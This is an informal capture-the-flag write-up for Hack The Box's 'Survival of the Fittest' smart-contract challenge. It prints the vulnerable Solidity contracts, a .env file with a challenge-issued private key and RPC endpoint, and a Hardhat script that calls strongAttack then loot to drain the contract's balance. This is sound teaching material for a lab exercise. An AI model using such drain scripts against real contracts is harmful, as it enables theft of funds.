Today we gonna solve the challenge “Survival of the Fittest” from hack the box website

So lets start, here is the challenge description :

image

image

After download we have the next smart contracts :

Setup.sol This smart contract is used to check if the challenge is solved to get the flag, we can check it using the “isSolved” function

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Creature} from "./Creature.sol";

contract Setup {
    Creature public immutable TARGET;

    constructor() payable {
        require(msg.value == 1 ether);
        TARGET = new Creature{value: 10}();
    }
    
    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

Creature.sol ( The Target ) This is the target, we need to use the strongAttack function to decrease the life of the creature to 0 and then claim the loot

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Creature {
    
    uint256 public lifePoints;
    address public aggro;

    constructor() payable {
        lifePoints = 20;
    }

    function strongAttack(uint256 _damage) external{
        _dealDamage(_damage);
    }
    
    function punch() external {
        _dealDamage(1);
    }

    function loot() external {
        require(lifePoints == 0, "Creature is still alive!");
        payable(msg.sender).transfer(address(this).balance);
    }

    function _dealDamage(uint256 _damage) internal {
        aggro = msg.sender;
        lifePoints -= _damage;
    }
}

So let me try to draw a simple flow to understand better the situation to solve the challenge image

So cool we have the solution but … how exaclty we can connect and interact with this smart contract to get the flag ?, lets see more information about the challenge

If wee can see here is an ip, lets see what happend if i paste this in the browser image So we see is a game, but if we try to play we never gonna win, or may be i am so bad xD, so lets press the connection button

image Sooo here are the connection data, but if you come from blockchain may be your first reaction is gonna be like What the heck and Why the private key are there, please calm down bro is a simple challenge xD

So now we have the connection data, we need to do a method to interact with the smart contracts and the RPC url, but WHERE IS THE URL BRO, i dont know lets look around image There it is, in the Doc button we can see the url is the http://${ip_challenge}/rpc

We have now the Data and the RPC url to interact, so now we need build the script to try to solve the challenge, here you have multiple choices and to be honestly you can pick whatever prefeer that is more easy for you

Instalation and configuration

in this case i create a hardhat project to solve it, we can start one using :

npx hardhat

This open an interactive menu that you can use to select whatever you prefer

image

After this we need to put the smart contracts into the /contract folder

image

lets compile now using the next command

npx hardhat compile

So now we can start intreact with the smart contract, but first we need to define some values before

Install dotenv

npm install dotenv

.env

Lets create a .env file with the values that i get from the challenge

# This values are used to interact with the smart contract
PRIV_KEY='0x8a1e240e537249a1a985526847d8cd49cf87fd5d03829786164cca3d9980e140'
ADDRESS='0x44f4C750F5e7eF25F92C65Acb70Fa0fAa0Ff1656'
TARGET_ADDRESS='0x6faC03B8B20AAb7126De00D557AB68d1B1524136'
SETUP_ADDRESS='0xbDE31A327fa7143D4511B23e4753f6269eD6d01B'
RPC_URL='http://143.110.169.131:30914/rpc'

hardhat.config.js

Lets edit the hardhat.config.js file

require("@nomicfoundation/hardhat-toolbox");
require('dotenv').config();

const { PRIV_KEY, RPC_URL } = process.env;

/** @type import('hardhat/config').HardhatUserConfig */
module.exports = {
  solidity: "0.8.19",
  networks: {
    htb: {
      url: RPC_URL,
      accounts: [PRIV_KEY]
    }
  }
};

So Now wee have all the things to start the script to solve the challenge Lets create a script called htb_flag.js in the /test/ folder

/*
    This script connect to the target and run the 
    functions needed to get the htb flag
*/

const { expect } = require('chai');
require('dotenv').config();

// .Env data to interact with the smart contracts
const {
    PRIV_KEY,
    ADDRESS,
    TARGET_ADDRESS,
    SETUP_ADDRESS
} = process.env;

// Smart contract names
const SETUP = 'Setup';
const TARGET = 'Creature';

describe("HTB flag flow :)", function () {

    let contractSetup;
    let contractTarget;

    it('[ Instantiate ] Setup.sol', async () => {

        const Contract = await hre.ethers.getContractFactory(SETUP);
        contractSetup = await Contract.attach(SETUP_ADDRESS);
        expect(contractSetup.target).to.be.equal(SETUP_ADDRESS);

    });

    it('[ Instantiate ] Creature.sol', async () => {

        const Contract = await hre.ethers.getContractFactory(TARGET);
        contractTarget = await Contract.attach(TARGET_ADDRESS);
        expect(contractTarget.target).to.be.equal(TARGET_ADDRESS);

    });

    it('[ Target ] Check the life before attack', async () => {

        const response = await contractTarget.lifePoints();
        console.log('Life points before => ', response);

    });

    it('[ Target ] Using the function "strongAttack"', async () => {

        const response = await contractTarget.strongAttack(20);
        expect(response.from).to.be.equal(ADDRESS);

    });

    it('[ Target ] Getting the loot, yeah boy :)', async () => {

        const response = await contractTarget.loot();
        expect(response.from).to.be.equal(ADDRESS);

    });

    it('[ Target ] Re-Check the life to be == 0', async () => {

        const response = await contractTarget.lifePoints();
        expect(response).to.be.equal(0);

    });

    it('[ Setup ] Checking if is solved', async () => {

        const response = await contractSetup.isSolved();
        console.log('Is solved ? : ', response);
        expect(response).to.be.equal(true);

    });

});

Understand the flow is easy because this script does the mentioned before in the image flow interaction

So lets do the magic trick using the next command

npx hardhat test --network htb

if you can see we use --network htb this means we are using the network configurated in the hardhat.config.js file

And the results are image And is solved, so now wee need to go to the url/flag to get the flag :)

Note : If you like look the details you can see the test take much time, and the reason of this is because all the functions runned in blockchain needs to be confirmed be a node first :)

So stop wasting time, lets GO FOR THE FLAG XD image

So thats it, we did it